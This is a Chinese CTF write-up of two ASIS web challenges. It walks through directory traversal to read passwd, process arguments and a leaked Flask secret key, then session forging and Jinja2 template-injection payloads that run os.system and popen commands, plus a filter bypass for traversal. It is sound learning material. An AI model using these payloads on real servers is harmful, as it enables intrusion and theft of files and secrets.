×

Web CTF 初探

96
o_0xF2B8F2B8
2017.09.12 16:06* 字数 758

Golem is stupid!

ASIS CTF 的一道 Web,打开 题目页面 https://golem.asisctf.com/

image.png

查看了一下,没有什么敏感信息。于是操作输入框。

发现网页将刚才输入的元素展示出来,并且提供了一个链接

image.png

打开链接,发现这里可能出现问题。实验一下,果然暴露出了路径

image.png

尝试使用目录穿越,成功获取了服务器上的 passwd。

image.png

由于之前并没有看出这个 web 服务是什么启动的,因此访问路径 https://golem.asisctf.com/article?name=../../../../../proc/self/cmdline 看一下这个服务的启动参数

image.png

依次查看参数,果然发现其启动文件

image.png

查看之,这是一个python flask 服务,把用户的输入渲染到页面上来。在简单的过滤之后调用函数 render_template_string 进行渲染。这是一个危险的信号,有可能触发 SSTI。

import os

from flask import (
    Flask, 
    render_template,
    request,
    url_for,
    redirect,
    session,
    render_template_string
)
from flask.ext.session import Session

app = Flask(__name__)


execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key

@app.route("/golem", methods=["GET", "POST"])
def golem():
    if request.method != "POST":
        return redirect(url_for("index"))

    golem = request.form.get("golem") or None

    if golem is not None:
        golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")
    
    if "golem" not in session or session['golem'] is None:
        session['golem'] = golem

    template = None

    if session['golem'] is not None:
        template = '''{%% extends "layout.html" %%}
        {%% block body %%}
        <h1>Golem Name</h1>
        <div class="row>
        <div class="col-md-6 col-md-offset-3 center">
        Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
        </div>
        </div>
        {%% endblock %%}
        ''' % session['golem']
        
        print 

        session['golem'] = None

    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")

@app.route('/article', methods=['GET'])
def article():

    error = 0

    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'

    if page.find('flag')>=0:
        page = 'notallowed.txt'

    try:
        template = open('/home/golem/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

继续观察程序逻辑,首先程序过滤用户输入中的 ‘{’、‘}’、‘_’、‘.’,接着将用户输入保存在 session 中,渲染页面时再从 session 中获取并拼接到模板中,调用 render_template_string渲染页面。

一般而言存在 session 中的东西是不能够伪造的,然而我们可以通过目录穿越直接访问到 seesion key~从而可以伪造之

image.png

编写一个 Flask 服务,使用获取的服务器 seesion key。传入参数 ?golem={{%20[].__class__.__base__.__subclasses__()[59].__init__.func_globals[%27linecache%27].__dict__[%27os%27].system(%27id%27)%20}} 可以通过 catch_warnning 执行任意系统命令。

from flask import (
    Flask, 
    render_template,
    request,
    url_for,
    redirect,
    session,
    render_template_string
)
from flask.ext.session import Session

app = Flask(__name__)

app.secret_key = "7h15_5h0uld_b3_r34lly_53cur3d"

@app.route('/',methods=["GET","POST"])
def hello_world():
    golem = request.args.get('golem')
    session['golem'] = golem
    return session['golem']

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

将页面上的 session 替换为本地伪造的 session ,golem 也会被替换。这里可能还有一些验证,将参数变化为 {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('cat flag.py').read()}}便可以读取了。

Refenrence

Mathilda

打开网页,好像没有什么东西,查看源码,发现有 ~rooney,好像是一个映射。
访问之

image.png

发现一个链接,访问之,发现有目录穿越,只是过滤了 ../,修改一下

image.png

查看这个 web 服务是什么程序启动的。发现是 apache

image.png

根据 apache 映射的原则,波浪线映射的位置应该是位于 /home/rooney/public_html 中,于是访问之,发现敏感信息,猜测文件位置可能在 files 目录下。

image.png

于是访问之,果然。

image.png

flag 的位置仍需要猜测,想到 passwd 中还有一个奇怪的用户名,于是照例访问之

image.png

成功

Refenrence

总结

感谢 EM 大佬的帮助

image.png
随笔
Web note ad 1